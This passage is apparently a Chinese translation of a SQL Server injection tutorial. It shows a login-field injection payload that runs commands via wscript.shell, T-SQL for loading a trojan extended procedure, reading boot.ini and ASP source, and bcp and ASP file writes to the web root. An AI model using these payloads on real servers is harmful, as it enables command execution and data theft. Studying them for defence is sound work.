[聯合服務器]
SQL-Server提供了一個服務器聯合的機制,就是允許一個數據庫服務器上的查詢操作其他服務器的數據。這些聯合設置存放在master..sysservers表裡,如果一個相連的服務器使用了'sp_addlinkedsrvlogin'存儲過程,一個自動的登陸了的連接已經存在,可以通過它不登陸而訪問該服務器。'openquery'函數允許查詢在聯合服務器上執行。
[用戶自定義擴展存儲]
擴展存儲的API是相當簡單的,創建一個帶有惡意代碼的擴展存儲DLL也是相當容易的。通過命令行有很多方法將DLL上傳到服務器,還有其他的很多方法包括各種通信機制來自動實現,比如HTTP下載和FTP腳本。
一旦DLL文件出現在服務器上SQL-Server可以訪問,這不一定需要SQL-server本身,攻擊者可以通過下面添加擴展存儲(這裡,我們的惡意擴展存儲是個用來操作服務器的文件系統小的木馬)
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
擴展存儲就可以通過一般的方法調用:
exec xp_webserver
一旦這個擴展存儲執行過,可以這樣刪除它:
sp_dropextendedproc 'xp_webserver'
[向表中導入文本文件]
利用'bulk insert'語句,可以把一個文本文件的內容插入進一張臨時表,我們簡單的創建一個表:
create table foo( line varchar(8000) )
然後執行bulk insert來插入數據來自於一個文件:
bulk insert foo from 'c:\inetpub\wwwroot\process_login.ASP'
通過上面介紹過的錯誤信息技巧就可以得到數據,或者通過一個'union'查詢,把文本數據作為查詢的數據返回。這對於獲得存儲在數據庫裡的腳本如ASP腳本很有用。
[利用BCP創建文本文件]
利用和'bulk insert'作用相反的技術創建任意的文本文件非常簡單。不過需要一個命令行工具'bcp'('bulk copy program'),因為bcp在SQL-Server進程外訪問數據庫,它需要一次登陸。但是這不難,因為攻擊者都可以創建一個;或者如果服務器配置使用了“完整性”安全模式,攻擊者可以利用它。
命令行格式如下:
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.ASP -c -Slocalhost -Usa -Pfoobar
'S'參數是要運行查詢的服務器,'U'參數是用戶名,'P'是密碼,這裡的密碼是'foobar'。
[SQL-Server 裡的ActiveX自動腳本]
SQL-Server提供了一些內置的擴展存儲,允許在SQL-Server內創建ActiveX自動腳本。這些腳本在功能上和Windows scripting host上運行的腳本或者ASP腳本(通常用Javascript或者Vbscript編寫)一樣,腳本創建自動對象並且通過他們產生作用。一個用Transact-SQL寫的自動腳本可以做任何ASP腳本或者WSH腳本能做的事。
下面提供一些例子來說明:
1)這個例子用'wscript.shell'對象創建一個notepad的實例(當然這裡也可以是任何命令行命令)
-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
在我們的例子裡可以使用這樣的用戶名(都在一行):
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--
2)這個例子用'scripting.filesystemobject'對象去讀已知的文本文件:
-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
3)下面的例子創建一個ASP腳本執行任意命令:
-- scripting.filesystemobject example - create a 'run this' .ASP file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.ASP', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, ' '
需要注意的很重要的一點是Windows NT4,IIS4平台ASP腳本將會以'system'的帳號運行,而在IIS5他們會以低權限的IWAM_xxx帳號運行。
4)這個例子(稍帶欺騙性)說明這項技術的靈活性,它用'speech.voicetext'(譯者注:參考ms-help://MS.VSCC/MS.MSDNVS.2052/dnwui/Html/msdn_texttosp.htm)對象,使SQL Server說話